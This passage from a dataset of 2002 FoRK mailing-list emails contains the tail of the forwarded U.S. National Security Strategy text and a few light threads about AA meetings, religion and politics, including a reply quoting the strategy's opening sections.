confronting this failure. We forged a new consensus at the U.N. Conference on Financing for Development in Monterrey that the objectives of assistance -- and the strategies to achieve those objectives -- must change. This Administration's goal is to help unleash the productive potential of individuals in all nations. Sustained growth and poverty reduction is impossible without the right national policies. Where governments have implemented real policy changes we will provide significant new levels of assistance. The United States and other developed countries should set an ambitious and specific target: to double the size of the world's poorest economies within a decade. The United States Government will pursue these major strategies to achieve this goal: * Provide resources to aid countries that have met the challenge of national reform. We propose a 50 percent increase in the core development assistance given by the United States. While continuing our present programs, including humanitarian assistance based on need alone, these billions of new dollars will form a new Millennium Challenge Account for projects in countries whose governments rule justly, invest in their people, and encourage economic freedom. Governments must fight corruption, respect basic human rights, embrace the rule of law, invest in health care and education, follow responsible economic policies, and enable entrepreneurship. The Millennium Challenge Account will reward countries that have demonstrated real policy change and challenge those that have not to implement reforms. * Improve the effectiveness of the World Bank and other development banks in raising living standards. The United States is committed to a comprehensive reform agenda for making the World Bank and the other multilateral development banks more effective in improving the lives of the world's poor. We have reversed the downward trend in U.S. contributions and proposed an 18 percent increase in the U.S. contributions to the International Development Association (IDA) -- the World Bank's fund for the poorest countries -- and the African Development Fund. The key to raising living standards and reducing poverty around the world is increasing productivity growth, especially in the poorest countries. We will continue to press the multilateral development banks to focus on activities that increase economic productivity, such as improvements in education, health, rule of law, and private sector development. Every project, every loan, every grant must be judged by how much it will increase productivity growth in developing countries. * Insist upon measurable results to ensure that development assistance is actually making a difference in the lives of the world's poor. When it comes to economic development, what really matters is that more children are getting a better education, more people have access to health care and clean water, or more workers can find jobs to make a better future for their families. We have a moral obligation to measure the success of our development assistance by whether it is delivering results. For this reason, we will continue to demand that our own development assistance as well as assistance from the multilateral development banks has measurable goals and concrete benchmarks for achieving those goals. Thanks to U.S. leadership, the recent IDA replenishment agreement will establish a monitoring and evaluation system that measures recipient countries' progress. For the first time, donors can link a portion of their contributions to IDA to the achievement of actual development results, and part of the U.S. contribution is linked in this way. We will strive to make sure that the World Bank and other multilateral development banks build on this progress so that a focus on results is an integral part of everything that these institutions do. * Increase the amount of development assistance that is provided in the form of grants instead of loans. Greater use of results-based grants is the best way to help poor countries make productive investments, particularly in the social sectors, without saddling them with ever-larger debt burdens. As a result of U.S. leadership, the recent IDA agreement provided for significant increases in grant funding for the poorest countries for education, HIV/AIDS, health, nutrition, water, sanitation, and other human needs. Our goal is to build on that progress by increasing the use of grants at the other multilateral development banks. We will also challenge universities, nonprofits, and the private sector to match government efforts by using grants to support development projects that show results. * Open societies to commerce and investment. Trade and investment are the real engines of economic growth. Even if government aid increases, most money for development must come from trade, domestic capital, and foreign investment. An effective strategy must try to expand these flows as well. Free markets and free trade are key priorities of our national security strategy. * Secure public health. The scale of the public health crisis in poor countries is enormous. In countries afflicted by epidemics and pandemics like HIV/AIDS, malaria, and tuberculosis, growth and development will be threatened until these scourges can be contained. Resources from the developed world are necessary but will be effective only with honest governance, which supports prevention programs and provides effective local infrastructure. The United States has strongly backed the new global fund for HIV/AIDS organized by U.N. Secretary General Kofi Annan and its focus on combining prevention with a broad strategy for treatment and care. The United States already contributes more than twice as much money to such efforts as the next largest donor. If the global fund demonstrates its promise, we will be ready to give even more. * Emphasize education. Literacy and learning are the foundation of democracy and development. Only about 7 percent of World Bank resources are devoted to education. This proportion should grow. The United States will increase its own funding for education assistance by at least 20 percent with an emphasis on improving basic education and teacher training in Africa. The United States can also bring information technology to these societies, many of whose education systems have been devastated by AIDS. * Continue to aid agricultural development. New technologies, including biotechnology, have enormous potential to improve crop yields in developing countries while using fewer pesticides and less water. Using sound science, the United States should help bring these benefits to the 800 million people, including 300 million children, who still suffer from hunger and malnutrition. VIII. Develop Agendas for Cooperative Action with the Other Main Centers of Global Power ""We have our best chance since the rise of the nation-state in the 17th century to build a world where the great powers compete in peace instead of prepare for war."" President Bush West Point, New York June 1, 2002 America will implement its strategies by organizing coalitions -- as broad as practicable -- of states able and willing to promote a balance of power that favors freedom. Effective coalition leadership requires clear priorities, an appreciation of others' interests, and consistent consultations among partners with a spirit of humility. There is little of lasting consequence that the United States can accomplish in the world without the sustained cooperation of its allies and friends in Canada and Europe. Europe is also the seat of two of the strongest and most able international institutions in the world: the North Atlantic Treaty Organization (NATO), which has, since its inception, been the fulcrum of transatlantic and inter-European security, and the European Union (EU), our partner in opening world trade. The attacks of September 11 were also an attack on NATO, as NATO itself recognized when it invoked its Article V self-defense clause for the first time. NATO's core mission -- collective defense of the transatlantic alliance of democracies -- remains, but NATO must develop new structures and capabilities to carry out that mission under new circumstances. NATO must build a capability to field, at short notice, highly mobile, specially trained forces whenever they are needed to respond to a threat against any member of the alliance. The alliance must be able to act wherever our interests are threatened, creating coalitions under NATO's own mandate, as well as contributing to mission-based coalitions. To achieve this, we must: * expand NATO's membership to those democratic nations willing and able to share the burden of defending and advancing our common interests; * ensure that the military forces of NATO nations have appropriate combat contributions to make in coalition warfare; * develop planning processes to enable those contributions to become effective multinational fighting forces; * take advantage of the technological opportunities and economies of scale in our defense spending to transform NATO military forces so that they dominate potential aggressors and diminish our vulnerabilities; * streamline and increase the flexibility of command structures to meet new operational demands and the associated requirements of training, integrating, and experimenting with new force configurations; and * maintain the ability to work and fight together as allies even as we take the necessary steps to transform and modernize our forces. If NATO succeeds in enacting these changes, the rewards will be a partnership as central to the security and interests of its member states as was the case during the Cold War. We will sustain a common perspective on the threats to our societies and improve our ability to take common action in defense of our nations and their interests. At the same time, we welcome our European allies' efforts to forge a greater foreign policy and defense identity with the EU, and commit ourselves to close consultations to ensure that these developments work with NATO. We cannot afford to lose this opportunity to better prepare the family of transatlantic democracies for the challenges to come. The attacks of September 11 energized America's Asian alliances. Australia invoked the ANZUS Treaty to declare the September 11 was an attack on Australia itself, following that historic decision with the dispatch of some of the world's finest combat forces for Operation Enduring Freedom. Japan and the Republic of Korea provided unprecedented levels of military logistical support within weeks of the terrorist attack. We have deepened cooperation on counter-terrorism with our alliance partners in Thailand and the Philippines and received invaluable assistance from close friends like Singapore and New Zealand. The war against terrorism has proven that America's alliances in Asia not only underpin regional peace and stability, but are flexible and ready to deal with new challenges. To enhance our Asian alliances and friendships, we will: * look to Japan to continue forging a leading role in regional and global affairs based on our common interests, our common values, and our close defense and diplomatic cooperation; * work with South Korea to maintain vigilance towards the North while preparing our alliance to make contributions to the broader stability of the region over the longer-term; * build on 50 years of U.S.-Australian alliance cooperation as we continue working together to resolve regional and global problems -- as we have so many times from the Battle of Leyte Gulf to Tora Bora; * maintain forces in the region that reflect our commitments to our allies, our requirements, our technological advances, and the strategic environment; and * build on stability provided by these alliances, as well as with institutions such as ASEAN and the Asia-Pacific Economic Cooperation forum, to develop a mix of regional and bilateral strategies to manage change in this dynamic region. We are attentive to the possible renewal of old patterns of great power competition. Several potential great powers are now in the midst of internal transition -- most importantly Russia, India, and China. In all three cases, recent developments have encouraged our hope that a truly global consensus about basic principles is slowly taking shape. With Russia, we are already building a new strategic relationship based on a central reality of the twenty-first century: the United States and Russia are no longer strategic adversaries. The Moscow Treaty on Strategic Reductions is emblematic of this new reality and reflects a critical change in Russian thinking that promises to lead to productive, long-term relations with the Euro-Atlantic community and the United States. Russia's top leaders have a realistic assessment of their country's current weakness and the policies -- internal and external -- needed to reverse those weaknesses. They understand, increasingly, that Cold War approaches do not serve their national interests and that Russian and American strategic interests overlap in many areas. United States policy seeks to use this turn in Russian thinking to refocus our relationship on emerging and potential common interests and challenges. We are broadening our already extensive cooperation in the global war on terrorism. We are facilitating Russia's entry into the World Trade Organization, without lowering standards for accession, to promote beneficial bilateral trade and investment relations. We have created the NATO-Russia Council with the goal of deepening security cooperation among Russia, our European allies, and ourselves. We will continue to bolster the independence and stability of the states of the former Soviet Union in the belief that a prosperous and stable neighborhood will reinforce Russia's growing commitment to integration into the Euro-Atlantic community. At the same time, we are realistic about the differences that still divide us from Russia and about the time and effort it will take to build an enduring strategic partnership. Lingering distrust of our motives and policies by key Russian elites slows improvement in our relations. Russia's uneven commitment to the basic values of free-market democracy and dubious record in combating the proliferation of weapons of mass destruction remain matters of great concern. Russia's very weakness limits the opportunities for cooperation. Nevertheless, those opportunities are vastly greater now than in recent years -- or even decades. The United States has undertaken a transformation in its bilateral relationship with India based on a conviction that U.S. interests require a strong relationship with India. We are the two largest democracies, committed to political freedom protected by representative government. India is moving toward greater economic freedom as well. We have a common interest in the free flow of commerce, including through the vital sea lanes of the Indian Ocean. Finally, we share an interest in fighting terrorism and in creating a strategically stable Asia. Differences remain, including over the development of India's nuclear and missile programs, and the pace of India's economic reforms. But while in the past these concerns may have dominated our thinking about India, today we start with a view of India as a growing world power with which we have common strategic interests. Through a strong partnership with India, we can best address any differences and shape a dynamic future. The United States relationship with China is an important part of our strategy to promote a stable, peaceful, and prosperous Asia-Pacific region. We welcome the emergence of a strong, peaceful, and prosperous China. The democratic development of China is crucial to that future. Yet, a quarter century after beginning the process of shedding the worst features of the Communist legacy, China's leaders have not yet made the next series of fundamental choices about the character of their state. In pursuing advanced military capabilities that can threaten its neighbors in the Asia-Pacific region, China is following an outdated path that, in the end, will hamper its own pursuit of national greatness. In time, China will find that social and political freedom is the only source of that greatness. The United States seeks a constructive relationship with a changing China. We already cooperate well where our interests overlap, including the current war on terrorism and in promoting stability on the Korean peninsula. Likewise, we have coordinated on the future of Afghanistan and have initiated a comprehensive dialogue on counter-terrorism and similar transitional concerns. Shared health and environmental threats, such as the spread of HIV/AIDS, challenge us to promote jointly the welfare of our citizens. Addressing these transnational threats will challenge China to become more open with information, promote the development of civil society, and enhance individual human rights. China has begun to take the road to political openness, permitting many personal freedoms and conducting village-level elections, yet remains strongly committed to national one-party rule by the Communist Party. To make that nation truly accountable to its citizen's needs and aspirations, however, much work remains to be done. Only by allowing the Chinese people to think, assemble, and worship freely can China reach its full potential. Our important trade relationship will benefit from China's entry into the World Trade Organization, which will create more export opportunities and ultimately more jobs for American farmers, workers, and companies. China is our fourth largest trading partner, with over $100 billion in annual two-way trade. The power of market principles and the WTO's requirements for transparency and accountability will advance openness and the rule of law in China to help establish basic protections for commerce and for citizens. There are, however, other areas in which we have profound disagreements. Our commitment to the self-defense of Taiwan under the Taiwan Relations Act is one. Human rights is another. We expect China to adhere to its nonproliferation commitments. We will work to narrow differences where they exist, but not allow them to preclude cooperation where we agree. The events of September 11, 2001, fundamentally changed the context for relations between the United States and other main centers of global power, and opened vast, new opportunities. With our long-standing allies in Europe and Asia, and with leaders in Russia, India, and China, we must develop active agendas of cooperation lest these relationships become routine and unproductive. Every agency of the United States Government shares the challenge. We can build fruitful habits of consultation, quiet argument, sober analysis, and common action. In the long-term, these are the practices that will sustain the supremacy of our common principles and keep open the path of progress. IX. Transform America's National Security Institutions to Meet the Challenges and Opportunities of the Twenty-First Century ""Terrorists attacked a symbol of American prosperity. They did not touch its source. America is successful because of the hard work, creativity, and enterprise of our people."" President Bush Washington, D.C. (Joint Session of Congress) September 20, 2001 The major institutions of American national security were designed in a different era to meet different requirements. All of them must be transformed. It is time to reaffirm the essential role of American military strength. We must build and maintain our defenses beyond challenge. Our military's highest priority is to defend the United States. To do so effectively, our military must: * assure our allies and friends; * dissuade future military competition; * deter threats against U.S. interests, allies, and friends; and * decisively defeat any adversary if deterrence fails. The unparalleled strength of the United States armed forces, and their forward presence, have maintained the peace in some of the world's most strategically vital regions. However, the threats and enemies we must confront have changed, and so must our forces. A military structured to deter massive Cold War-era armies must be transformed to focus more on how an adversary might fight rather than where and when a war might occur. We will channel our energies to overcome a host of operational challenges. The presence of American forces overseas is one of the most profound symbols of the U.S. commitments to allies and friends. Through our willingness to use force in our own defense and in defense of others, the United States demonstrates its resolve to maintain a balance of power that favors freedom. To contend with uncertainty and to meet the many security challenges we face, the United States will require bases and stations within and beyond Western Europe and Northeast Asia, as well as temporary access arrangements for the long-distance deployment of U.S. forces. Before the war in Afghanistan, that area was low on the list of major planning contingencies. Yet, in a very short time, we had to operate across the length and breadth of that remote nation, using every branch of the armed forces. We must prepare for more such deployments by developing assets such as advanced remote sensing, long-range precision strike capabilities, and transformed maneuver and expeditionary forces. This broad portfolio of military capabilities must also include the ability to defend the homeland, conduct information operations, ensure U.S. access to distant theaters, and protect critical U.S. infrastructure and assets in outer space. Innovation within the armed forces will rest on experimentation with new approaches to warfare, strengthening joint operations, exploiting U.S. intelligence advantages, and taking full advantage of science and technology. We must also transform the way the Department of Defense is run, especially in financial management and recruitment and retention. Finally, while maintaining near-term readiness and the ability to fight the war on terrorism, the goal must be to provide the President with a wider range of military options to discourage aggression or any form of coercion against the United States, our allies, and our friends. We know from history that deterrence can fail; and we know from experience that some enemies cannot be deterred. The United States must and will maintain the capability to defeat any attempt by an enemy -- whether a state or non-state actor -- to impose its will on the United States, our allies, or our friends. We will maintain the forces sufficient to support our obligations, and to defend freedom. Our forces will be strong enough to dissuade potential adversaries from pursuing a military build-up in hopes of surpassing, or equaling, the power of the United States. Intelligence -- and how we use it -- is our first line of defense against terrorists and the threat posed by hostile states. Designed around the priority of gathering enormous information about a massive, fixed object -- the Soviet bloc -- the intelligence community is coping with the challenge of following a far more complex and elusive set of targets. We must transform our intelligence capabilities and build new ones to keep pace with the nature of these threats. Intelligence must be appropriately integrated with our defense and law enforcement systems and coordinated with our allies and friends. We need to protect the capabilities we have so that we do not arm our enemies with the knowledge of how best to surprise us. Those who would harm us also seek the benefit of surprise to limit our prevention and response options and to maximize injury. We must strengthen intelligence warning and analysis to provide integrated threat assessments for national and homeland security. Since the threats inspired by foreign governments and groups may be conducted inside the United States, we must also ensure the proper fusion of information between intelligence and law enforcement. Initiatives in this area will include: * strengthening the authority of the Director of Central Intelligence to lead the development and actions of the Nation's foreign intelligence capabilities; * establishing a new framework for intelligence warning that provides seamless and integrated warning across the spectrum of threats facing the nation and our allies; * continuing to develop new methods of collecting information to sustain our intelligence advantage; * investing in future capabilities while working to protect them through a more vigorous effort to prevent the compromise of intelligence capabilities; and * collecting intelligence against the terrorist danger across the government with all-source analysis. As the United States Government relies on the armed forces to defend America's interests, it must rely on diplomacy to interact with other nations. We will ensure that the Department of State receives funding sufficient to ensure the success of American diplomacy. The State Department takes the lead in managing our bilateral relationships with other governments. And in this new era, its people and institutions must be able to interact equally adroitly with non-governmental organizations and international institutions. Officials trained mainly in international politics must also extend their reach to understand complex issues of domestic governance around the world, including public health, education, law enforcement, the judiciary, and public diplomacy. Our diplomats serve at the front line of complex negotiations, civil wars, and other humanitarian catastrophes. As humanitarian relief requirements are better understood, we must also be able to help build police forces, court systems, and legal codes, local and provincial government institutions, and electoral systems. Effective international cooperation is needed to accomplish these goals, backed by American readiness to play our part. Just as our diplomatic institutions must adapt so that we can reach out to others, we also need a different and more comprehensive approach to public information efforts that can help people around the world learn about and understand America. The war on terrorism is not a clash of civilizations. It does, however, reveal the clash inside a civilization, a battle for the future of the Muslim world. This is a struggle of ideas and this is an area where America must excel. We will take the actions necessary to ensure that our efforts to meet our global security commitments and protect Americans are not impaired by the potential for investigations, inquiry, or prosecution by the International Criminal Court (ICC), whose jurisdiction does not extend to Americans and which we do not accept. We will work together with other nations to avoid complications in our military operations and cooperation, through such mechanisms as multilateral and bilateral agreements that will protect U.S. nationals from the ICC. We will implement fully the American Servicemembers Protection Act, whose provisions are intended to ensure and enhance the protection of U.S. personnel and officials. We will make hard choices in the coming year and beyond to ensure the right level and allocation of government spending on national security. The United States Government must strengthen its defenses to win this war. At home, our most important priority is to protect the homeland for the American people. Today, the distinction between domestic and foreign affairs is diminishing. In a globalized world, events beyond America's borders have a greater impact inside them. Our society must be open to people, ideas, and goods from across the globe. The characteristics we most cherish -- our freedom, our cities, our systems of movement, and modern life -- are vulnerable to terrorism. This vulnerability will persist long after we bring to justice those responsible for the September eleventh attacks. As time passes, individuals may gain access to means of destruction that until now could be wielded only by armies, fleets, and squadrons. This is a new condition of life. We will adjust to it and thrive -- in spite of it. In exercising our leadership, we will respect the values, judgment, and interests of our friends and partners. Still, we will be prepared to act apart when our interests and unique responsibilities require. When we disagree on particulars, we will explain forthrightly the grounds for our concerns and strive to forge viable alternatives. We will not allow such disagreements to obscure our determination to secure together, with our allies and our friends, our shared fundamental interests and values. Ultimately, the foundation of American strength is at home. It is in the skills of our people, the dynamism of our economy, and the resilience of our institutions. A diverse, modern society has inherent, ambitious, entrepreneurial energy. Our strength comes from what we do with that energy. That is where our national security begins.",0,0 Gary Lawrence Murphy ,"""Geege Schuman"" ",20 Sep 2002 20:54:32 -0400,Re: AA Meetings the Hottest Place to Meet Women With Big Bucks,">>>>> ""G"" == Geege Schuman writes: G> SURELY you meant political extremes and not politics? baisley? G> help me out here. OK, but only if you also meant religious and alcoholic extremes ;) When the political canvassers come to my door during the campaigns, I always wonder why cigarette packages are labelled with warnings whereas political brochures are not; the statistics clearly show which is the greater, more senseless, and more preventable killer. >>>>> ""R"" == Russell Turpin writes: R> It's difficult to measure which is the greater liability in a R> potential mate, religiosity or alcoholism. G> Or politics. -- Gary Lawrence Murphy - garym@teledyn.com - TeleDynamics Communications - blog: http://www.auracom.com/~teledyn - biz: http://teledyn.com/ - ""Computers are useless. They can only give you answers."" (Picasso)",0,1 bitbitch@magnesium.net,Gary Lawrence Murphy ,"Fri, 20 Sep 2002 21:26:06 -0400",Re[2]: AA Meetings the Hottest Place to Meet Women With Big Bucks,"GLM> whereas political brochures are not; the statistics clearly show GLM> which is the greater, more senseless, and more preventable killer. So outside of the occasional hit by a mafia-boy, where's the killing? If you said mind-numbing, rights destroying, cynic-making force, I'd agree. But, does politics really kill? I'm bitter atm. Two reasons mostly: 1) I was listening to what I heard being the First Amendment Foundation? on NPR releasing a poll noting that their very-unscientific poll found that half the population thinks the first amendment goes too far. And (their quote was 1 in 5, but I'm finding sources of 1 in 4) of the population don't even know what rights are guaranteed in the first amendment. 2) I have a paper due that will make or break my law school career. I hate being a forced sheep. baaaa.... >>>>>> ""R"" == Russell Turpin writes: GLM> R> It's difficult to measure which is the greater liability in a GLM> R> potential mate, religiosity or alcoholism. GLM> G> Or politics. -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,0 bitbitch@magnesium.net,fork@spamassassin.taint.org,"Fri, 20 Sep 2002 21:30:31 -0400",Fwd: Re[2]: AA Meetings the Hottest Place to Meet Women With Big,"And of course I forget the link that I did find. http://www.constitutioncenter.org/sections/news/8b4.asp Neither NPR nor the first amendment foundation seem to have the article I was looking for declaring the study. Even if its half true, its still frightening. It makes me want to pass out CATO bibles... -- Best regards, bitbitch mailto:bitbitch@magnesium.net",0,1 """Russell Turpin"" ",fork@spamassassin.taint.org,"Sat, 21 Sep 2002 03:48:18 +0000",Re: AA Meetings the Hottest Place to Meet Women With Big Bucks,"Gary Lawrence Murphy: >OK, but only if you also meant religious and alcoholic extremes ;) Since it was my quip, I'll point out that I used the term ""alcoholism,"" implying addiction. I drink. I'm not an alcoholic. Most people who drink don't go to AA meetings. Most people who go to AA meetings do (try very hard) not to drink. As to religion, I think it is harmful and risky in almost any degree. Were I single, I might consider potential mates who partook of the less irrational or more light-hearted religions. A Unitarian or Buddhist might be an example of the first, a Wiccan of the second. But someone who is both irrational and serious about that irrationality strikes me as a bad choice of partner, moreso than someone who was addicted to some drug. Alcoholics and drug addicts at least have the sense to battle their problem, and to keep their children from suffering it. The religious revel in their irrationality, and want to raise their children in it. That's a difficult difference for two parents to reconcile. Fortunately, I am long and happily enamored of someone who has no religious tendencies. _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com",0,1 CDale ,fork@spamassassin.taint.org,"Fri, 20 Sep 2002 23:54:00 -0500 (CDT)",calling wayne baisley@#!,"You around? C -- ""I don't take no stocks in mathematics, anyway"" --Huckleberry Finn",0,0 Wayne E Baisley ,fork@spamassassin.taint.org,"Sat, 21 Sep 2002 00:21:12 -0500","Re: calling wayne baisley, the 12-Step Calvinist","> help me out here. > You around? Barely, but don't call me Shirley. ;-) I'm sleeping with one eye open. I wouldn't have married me if I'd known how extremely shallow my politics are. ""The ward lurks in Wisteria's maze."" Cheers, Wayne",0,0 """Mr. FoRK"" ",,"Fri, 20 Sep 2002 21:34:51 -0700",Re: sed /s/United States/Roman Empire/g,"""Free trade and free markets have proven their ability to lift whole societies out of poverty"" I'm not a socio-political/history buff - does anybody have some clear examples? ----- Original Message ----- From: ""Rohit Khare"" To: Sent: Friday, September 20, 2002 5:10 PM Subject: sed /s/United States/Roman Empire/g > > A world where some live in comfort and plenty, while half of the human > > race lives on less than $2 a day, is neither just nor stable. > > Absolutely correct. Perhaps the most fundamental thing to realize about > life on Earth today. > > The following is a fascinating document of official Government policy > that bears close reading. It is the aspirations of a wonderful nation in > an imperfect world. > > > The war on terrorism is not a clash of civilizations. It does, > > however, reveal the clash inside a civilization, a battle for the > > future of the Muslim world. This is a struggle of ideas and this is an > > area where America must excel. > > I was recently at a lecture about the surprising success of Radio Sawa, > our new music-and-news channel for 15-30 year old Arabs. It's #1 in > practically every market it's entered, nearing 90% listenership in > Amman. And it's even beginning to be trusted for news, well past BBC and > taking share from every other government broadcaster. > > It is as hard to imagine America losing a war of ideas in the long-term > as it is to imagine America making any headway at all in the short term. > > Many of you may disagree, but I found the document below surprisingly > centrist. If you know the code, you can hear clearly partisan tones, re: > ICC, Taiwan Relations Act, etc. But, still, this is as much a Democratic > platform as not. Africa and AIDS take up more mindshare than I feared > they might. > > As you read, replace ""United States"" with ""Roman Empire"" and it may make > as much sense, in the long view of history. I don't know how proud to be > about that, but it is telling. Sometime I daydream that the President > might sit down with the nation with Perotista flip charts and explain to > our citizens the sheer vastness of our 700+ military installations > overseas and what they do for us. It would be a powerful education on > how engaged we are in the world around us. > > Heck, I'd love to see a real-time map of Federal expenditures around the > globe, a softly glowing necklace of embassies, carriers, arctic research > stations, hotels, golf courses, warehouses, libraries, clinics and all > the rest of the influence a trillion dollars here or there can buy. > > Of course, this still doesn't leave me any more comfortable with the > real news in this document: the Bush Doctrine for pre-emptive strikes. > I'd sooner repeal the Church amendments on covert action than permit > such a principle to be loosed upon the world. > > Rohit > > ----------------------------------------------------- > September 20, 2002 > > Full Text: Bush's National Security Strategy > > Following is the full text of President Bush's new national security > strategy. The document, entitled ""The National Security Strategy of the > United States,"" will soon be transmitted to Congress as a declaration of > the Administration's policy. > > INTRODUCTION > > THE great struggles of the twentieth century between liberty and > totalitarianism ended with a decisive victory for the forces of > freedom -- and a single sustainable model for national success: freedom, > democracy, and free enterprise. In the twenty-first century, only > nations that share a commitment to protecting basic human rights and > guaranteeing political and economic freedom will be able to unleash the > potential of their people and assure their future prosperity. People > everywhere want to say what they think; choose who will govern them; > worship as they please; educate their children -- male and female; own > property; and enjoy the benefits of their labor. These values of freedom > are right and true for every person, in every society -- and the duty of > protecting these values against their enemies is the common calling of > freedom-loving people across the globe and across the ages. > > Today, the United States enjoys a position of unparalleled military > strength and great economic and political influence. In keeping with our > heritage and principles, we do not use our strength to press for > unilateral advantage. We seek instead to create a balance of power that > favors human freedom: conditions in which all nations and all societies > can choose for themselves the rewards and challenges of political and > economic liberty. By making the world safer, we allow the people of the > world to make their own lives better. We will defend this just peace > against threats from terrorists and tyrants. We will preserve the peace > by building good relations among the great powers. We will extend the > peace by encouraging free and open societies on every continent. > > Defending our Nation against its enemies is the first and fundamental > commitment of the Federal Government. Today, that task has changed > dramatically. Enemies in the past needed great armies and great > industrial capabilities to endanger America. Now, shadowy networks of > individuals can bring great chaos and suffering to our shores for less > than it costs to purchase a single tank. Terrorists are organized to > penetrate open societies and to turn the power of modern technologies > against us. > > To defeat this threat we must make use of every tool in our arsenal -- > from better homeland defenses and law enforcement to intelligence and > cutting off terrorist financing. The war against terrorists of global > reach is a global enterprise of uncertain duration. America will help > nations that need our assistance in combating terror. And America will > hold to account nations that are compromised by terror -- because the > allies of terror are the enemies of civilization. The United States and > countries cooperating with us must not allow the terrorists to develop > new home bases. Together, we will seek to deny them sanctuary at every > turn. > > The gravest danger our Nation faces lies at the crossroads of radicalism > and technology. Our enemies have openly declared that they are seeking > weapons of mass destruction, and evidence indicates that they are doing > so with determination. The United States will not allow these efforts to > succeed. We will build defenses against ballistic missiles and other > means of delivery. We will cooperate with other nations to deny, > contain, and curtail our enemies' efforts to acquire dangerous > technologies. And, as a matter of common sense and self-defense, America > will act against such emerging threats before they are fully formed. We > cannot defend America and our friends by hoping for the best. So we must > be prepared to defeat our enemies' plans, using the best intelligence > and proceeding with deliberation. History will judge harshly those who > saw this coming danger but failed to act. In the new world we have > entered, the only path to safety is the path of action. > > As we defend the peace, we will also take advantage of an historic > opportunity to preserve the peace. Today, the international community > has the best chance since the rise of the nation-state in the > seventeenth century to build a world where great powers compete in peace > instead of continually prepare for war. Today, the world's great powers > find ourselves on the same side -- united by common dangers of terrorist > violence and chaos. The United States will build on these common > interests to promote global security. We are also increasingly united by > common values. Russia is in the midst of a hopeful transition, reaching > for its democratic future and a partner in the war on terror. Chinese > leaders are discovering that economic freedom is the only source of > national wealth. In time, they will find that social and political > freedom is the only source of national greatness. America will encourage > the advancement of democracy and economic openness in both nations, > because these are the best foundations for domestic stability and > international order. We will strongly resist aggression from other great > powers -- even as we welcome their peaceful pursuit of prosperity, > trade, and cultural advancement. > > Finally, the United States will use this moment of opportunity to extend > the benefits of freedom across the globe. We will actively work to bring > the hope of democracy, development, free markets, and free trade to > every corner of the world. The events of September 11, 2001, taught us > that weak states, like Afghanistan, can pose as great a danger to our > national interests as strong states. Poverty does not make poor people > into terrorists and murderers. Yet poverty, weak institutions, and > corruption can make weak states vulnerable to terrorist networks and > drug cartels within their borders. > > The United States will stand beside any nation determined to build a > better future by seeking the rewards of liberty for its people. Free > trade and free markets have proven their ability to lift whole societies > out of poverty -- so the United States will work with individual > nations, entire regions, and the entire global trading community to > build a world that trades in freedom and therefore grows in prosperity. > The United States will deliver greater development assistance through > the New Millennium Challenge Account to nations that govern justly, > invest in their people, and encourage economic freedom. We will also > continue to lead the world in efforts to reduce the terrible toll of > AIDS and other infectious diseases. > > In building a balance of power that favors freedom, the United States is > guided by the conviction that all nations have important > responsibilities. Nations that enjoy freedom must actively fight terror. > Nations that depend on international stability must help prevent the > spread of weapons of mass destruction. Nations that seek international > aid must govern themselves wisely, so that aid is well spent. For > freedom to thrive, accountability must be expected and required. > > We are also guided by the conviction that no nation can build a safer, > better world alone. Alliances and multilateral institutions can multiply > the strength of freedom-loving nations. The United States is committed > to lasting institutions like the United Nations, the World Trade > Organization, the Organization of American States, and NATO as well as > other long-standing alliances. Coalitions of the willing can augment > these permanent institutions. In all cases, international obligations > are to be taken seriously. They are not to be undertaken symbolically to > rally support for an ideal without furthering its attainment. > > Freedom is the non-negotiable demand of human dignity; the birthright of > every person -- in every civilization. Throughout history, freedom has > been threatened by war and terror; it has been challenged by the > clashing wills of powerful states and the evil designs of tyrants; and > it has been tested by widespread poverty and disease. Today, humanity > holds in its hands the opportunity to further freedom's triumph over all > these foes. The United States welcomes our responsibility to lead in > this great mission. > > I. Overview of America's International Strategy > > > ""Our Nation's cause has always been larger than our Nation's defense. We > fight, as we always fight, for a just peace -- a peace that favors > liberty. We will defend the peace against the threats from terrorists > and tyrants. We will preserve the peace by building good relations among > the great powers. And we will extend the peace by encouraging free and > open societies on every continent."" > > > > > > > President Bush > West Point, New York > June 1, 2002 > > > > The United States possesses unprecedented -- and unequaled -- strength > and influence in the world. Sustained by faith in the principles of > liberty, and the value of a free society, this position comes with > unparalleled responsibilities, obligations, and opportunity. The great > strength of this nation must be used to promote a balance of power that > favors freedom. > > For most of the twentieth century, the world was divided by a great > struggle over ideas: destructive totalitarian visions versus freedom and > equality. > > That great struggle is over. The militant visions of class, nation, and > race which promised utopia and delivered misery have been defeated and > discredited. America is now threatened less by conquering states than we > are by failing ones. We are menaced less by fleets and armies than by > catastrophic technologies in the hands of the embittered few. We must > defeat these threats to our Nation, allies, and friends. > > This is also a time of opportunity for America. We will work to > translate this moment of influence into decades of peace, prosperity, > and liberty. The U.S. national security strategy will be based on a > distinctly American internationalism that reflects the union of our > values and our national interests. The aim of this strategy is to help > make the world not just safer but better. Our goals on the path to > progress are clear: political and economic freedom, peaceful relations > with other states, and respect for human dignity. > > And this path is not America's alone. It is open to all. > > To achieve these goals, the United States will: > > * champion aspirations for human dignity; > > * strengthen alliances to defeat global terrorism and work to prevent > attacks against us and our friends; > > * work with others to defuse regional conflicts; > > * prevent our enemies from threatening us, our allies, and our > friends, with weapons of mass destruction; > > * ignite a new era of global economic growth through free markets and > free trade; > > * expand the circle of development by opening societies and building > the infrastructure of democracy; > > * develop agendas for cooperative action with other main centers of > global power; and > > * transform America's national security institutions to meet the > challenges and opportunities of the twenty-first century. > > > II. Champion Aspirations for Human Dignity > > > ""Some worry that it is somehow undiplomatic or impolite to speak the > language of right and wrong. I disagree. Different circumstances require > different methods, but not different moralities."" > > > > > > President Bush > West Point, New York > June 1, 2002 > > > > In pursuit of our goals, our first imperative is to clarify what we > stand for: the United States must defend liberty and justice because > these principles are right and true for all people everywhere. No nation > owns these aspirations, and no nation is exempt from them. Fathers and > mothers in all societies want their children to be educated and to live > free from poverty and violence. No people on earth yearn to be > oppressed, aspire to servitude, or eagerly await the midnight knock of > the secret police. > > America must stand firmly for the nonnegotiable demands of human > dignity: the rule of law; limits on the absolute power of the state; > free speech; freedom of worship; equal justice; respect for women; > religious and ethnic tolerance; and respect for private property. > > These demands can be met in many ways. America's constitution has served > us well. Many other nations, with different histories and cultures, > facing different circumstances, have successfully incorporated these > core principles into their own systems of governance. History has not > been kind to those nations which ignored or flouted the rights and > aspirations of their people. > > Our own history is a long struggle to live up to our ideals. But even in > our worst moments, the principles enshrined in the Declaration of > Independence were there to guide us. As a result, America is not just a > stronger, but is a freer and more just society. > > Today, these ideals are a lifeline to lonely defenders of liberty. And > when openings arrive, 